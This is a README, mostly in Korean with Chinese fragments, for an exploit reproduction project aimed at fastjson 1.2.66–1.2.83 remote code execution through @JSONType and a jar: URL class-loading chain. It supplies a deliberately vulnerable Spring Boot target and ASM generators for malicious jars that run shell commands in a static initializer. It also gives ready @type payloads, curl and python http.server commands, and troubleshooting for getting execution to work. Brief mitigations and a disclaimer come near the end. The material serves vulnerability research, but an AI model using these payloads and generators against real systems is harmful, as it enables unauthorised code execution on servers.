
취약한 Spring Boot 대상에 대해 HTTP 또는 파일 프로토콜 jar 체인을 사용하는 ASM 기반 페이로드 생성기로 fastjson 1.2.83 @JSONType RCE를 재현합니다.
@JSONType 리소스 탐지 체인 RCE
fastjson 1.2.66 ~ 1.2.83에서 @JSONType 애너테이션 + 불법 클래스명 + jar: 프로토콜을 통한 원격 클래스 로딩 / 명령 실행 재현 프로젝트입니다.
⚠️ 면책 조항
이 프로젝트는 보안 연구, 취약점 재현 및 승인된 테스트 목적으로만 제공됩니다. 승인되지 않은 시스템, 불법 공격 또는 악의적인 용도로 사용하는 것을 엄격히 금지합니다. 사용자는 자신의 행동에 대해 전적인 책임을 지며, 작성자는 어떠한 오용 행위에 대해서도 법적 책임을 지지 않습니다.
취약점 분석 문서 참고: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
이 프로젝트는 CVE-2026-16723을 중심으로 완전한 fastjson 1.2.83 취약점 재현 환경을 구축합니다.
demo/ —— 취약점이 존재하는 Spring Boot 2.7.18 웹 애플리케이션(fastjson 1.2.83 의존), 외부에 POST /parse 엔드포인트를 노출하며 JSON.parse(json)을 직접 호출합니다.exp/ —— ASM 기반 악성 프로브 jar 생성기(HTTP 프로토콜 / FILE 프로토콜 두 가지 형태)环境/ —— 사전 컴파일된 세 가지 미들웨어 FatJar(Tomcat / Jetty / Undertow), 바로 사용 가능합니다.이용 핵심 아이디어: @type이 jar URL인 특수 JSON을 구성하여 fastjson이 다음 경로를 따르게 합니다.
@JSONType 애너테이션 신뢰 분기 → getResourceAsStream으로 원격/로컬 jar 다운로드 →
defineClass로 악성 클래스 로딩 → 클래스 초기화 시 <clinit> 트리거 → 임의 명령 실행(RCE).
JSON.parse(json) 또는 JSON.parseObject(json)으로 신뢰할 수 없는 입력을 직접 파싱하고, fastjson 버전이 1.2.66 ~ 1.2.83이며 safeMode가 비활성화된 경우java -jar로 시작, LaunchedURLClassLoader, Spring Boot ≤ 2.7에서만 jar: 프로토콜 Handler 폴백 기능 유지)defineClass가 ClassFormatError를 발생시켜 최대 SSRF만 가능)fastjson의 checkAutoType은 @JSONType 애너테이션이 있는 클래스를 만나면 신뢰 분기로 진입하여 대부분의 블랙리스트 검증을 건너뛰고 로딩을 허용합니다. 이 프로젝트는 이 점을 이용해 ASM으로 바이트코드를 직접 작성하여 [불법 내부 클래스명]을 class 상수 풀의 this_class에 기록하고 세 곳의 이름을 완벽하게 일치시킵니다.
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
악성 클래스 구조:
@JSONType 애너테이션 — fastjson checkAutoType 신뢰 분기를 여는 열쇠<init>()V — fastjson이 정상적으로 인스턴스화할 수 있도록 보장<clinit> 정적 초기화 블록 — 클래스 로딩 초기화 시 Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"})를 실행하여 명령 실행 구현불법 클래스명은
javac로는 작성할 수 없으며 ASM만이 URL을 상수 풀에 직접 기록할 수 있습니다. — 이것이 이 프로젝트의 생성기가asm-9.6.jar에 의존하는 이유입니다.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
타깃 환경은 JDK 8에서 실행해야 합니다(이용 조건과 동일).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
시작 후 인터페이스 주소: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — 악성 jar의 HTTP 호스팅 포트open -a Calculator — 대상 머신에서 실행할 명령(macOS 계산기 실행; Linux는 id > /tmp/pwned 2>&1을 사용하여 파일 존재 여부 확인)기본적으로 확장자가 없는 파일 x를 생성하며 내부에 y.class가 포함되고 payload는 다음과 같습니다.
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
python3 -m http.server를x파일이 생성된 디렉터리에서 시작해야 합니다.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
명령 실행 결과는 HTTP 응답에 표시되지 않으므로 대상 머신에서 확인해야 합니다.
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
적용 시나리오: 대상이 공격자의 HTTP 포트에 접근할 수 없는 경우(내부망 격리 / 외부 통신 제한)이지만 jar 파일을 대상 머신의 파일 시스템에 배치할 수 있는 경우.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
생성기는 현재 디렉터리를 기준으로 jar:file: URL을 계산합니다(디렉터리 구분자 /는 .으로 대체됨). 예를 들어 /tmp/project/exp에서 생성하면 payload는 다음과 같습니다.
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
생성된 파일 y를 대상 머신의 @type에 해당하는 절대 경로(예: /tmp/project/exp/y)에 업로드/복사하고 디렉터리 구조를 동일하게 유지합니다.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
주의: FILE 프로토콜 체인의 경로는 대상 머신의 실제 파일 경로와 완전히 일치해야 합니다. 그렇지 않으면 리소스 탐지가 실패하여 로딩을 트리거할 수 없습니다.
2130706433은 127.0.0.1의 부호 없는 32비트 정수로, 정수로 작성하면 IP의 .이 fastjson의 . → / 대체 로직에 의해 손상되는 것을 방지할 수 있습니다. 공격 머신이 로컬이 아닌 경우:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:... 오류 발생jar를 다운로드할 수 있지만(SSRF 성립) TypeUtils.loadClass가 null을 반환한다는 의미입니다. 원인은 거의 두 가지뿐입니다.
@JSONType 애너테이션이 없음 — 탐지가 신뢰 분기를 통과하지 못하여 loadClass에 진입조차 하지 못함@type과 일치하지 않음 — defineClass에서 클래스명이 실제와 일치하지 않아 로딩 실패이 프로젝트의 생성기는 @JSONType 애너테이션 + 세 곳의 이름 정렬로 이 두 가지를 동시에 해결했습니다.
대상 ClassLoader가 LaunchedURLClassLoader가 아닌 경우(예: IDE에서 직접 Run, 일반 war 패키지, Spring Boot 3.x), 단일 jar:http 체인으로는 RCE가 불가능하며 최대 SSRF 검증만 가능합니다.
JDK 9+의 defineClass는 불법 클래스명 검증이 더 엄격하여 ClassFormatError를 발생시키며 체인이 로딩 단계에서 끊깁니다.
ParserConfig.getGlobalInstance().setSafeMode(true);로 autoType을 완전히 비활성화할 수 있습니다.JSON.parse(json) / JSON.parseObject(json)을 직접 호출하지 말고, 가능하면 JSON.parseObject(json, Xxx.class)를 사용하여 대상 타입을 명시적으로 지정하세요.ParserConfig.addAccept(...)를 통해 신뢰할 수 있는 클래스만 허용하세요.@type 페이로드를 차단하세요.이 프로젝트가 도움이 되었다면 ⭐ Star로 보안 연구와 취약점 문서화를 지원해 주세요.
⚠️ 승인된 테스트에만 사용하고 절대 불법적인 용도로 사용하지 마세요!
| 항목 | 내용 |
|---|
| CVE | CVE-2026-16723 |
| 컴포넌트 | Alibaba fastjson |
| 영향 버전 | 1.2.66 ~ 1.2.83 (1.x의 마지막 버전도 영향 받음) |
| 취약점 유형 | 역직렬화 원격 코드 실행(RCE) |
| 트리거 진입점 | JSON.parse(json) / JSON.parseObject(json) (구체적인 타입 지정 안 함) |
| 전제 조건 | 대상이 Spring Boot FatJar, JDK 8, safeMode 비활성화 |
| 매개변수 | 기본값 | 설명 |
|---|
port | 19090 | 악성 jar 호스팅 포트 |
cmd | id > /tmp/pwned 2>&1 | 대상 머신에서 실행할 명령 |
hostToken | 2130706433 | 대상이 접근하는 IP의 정수 형태(127.0.0.1) |
entry | y | jar 내 class 항목명 |
outFile | x | 생성된 jar 파일명(확장자 없음) |
| 매개변수 | 기본값 | 설명 |
|---|
port | 19090 | 예약 매개변수(FILE 체인은 포트를 사용하지 않음) |
cmd | id > /tmp/pwned 2>&1 | 대상 머신에서 실행할 명령 |
dir | 현재 디렉터리 | 대상 머신에서 jar의 디렉터리(jar:file: URL 생성용) |
entry | x | jar 내 class 항목명 |
outFile | y | 생성된 jar 파일명(확장자 없음) |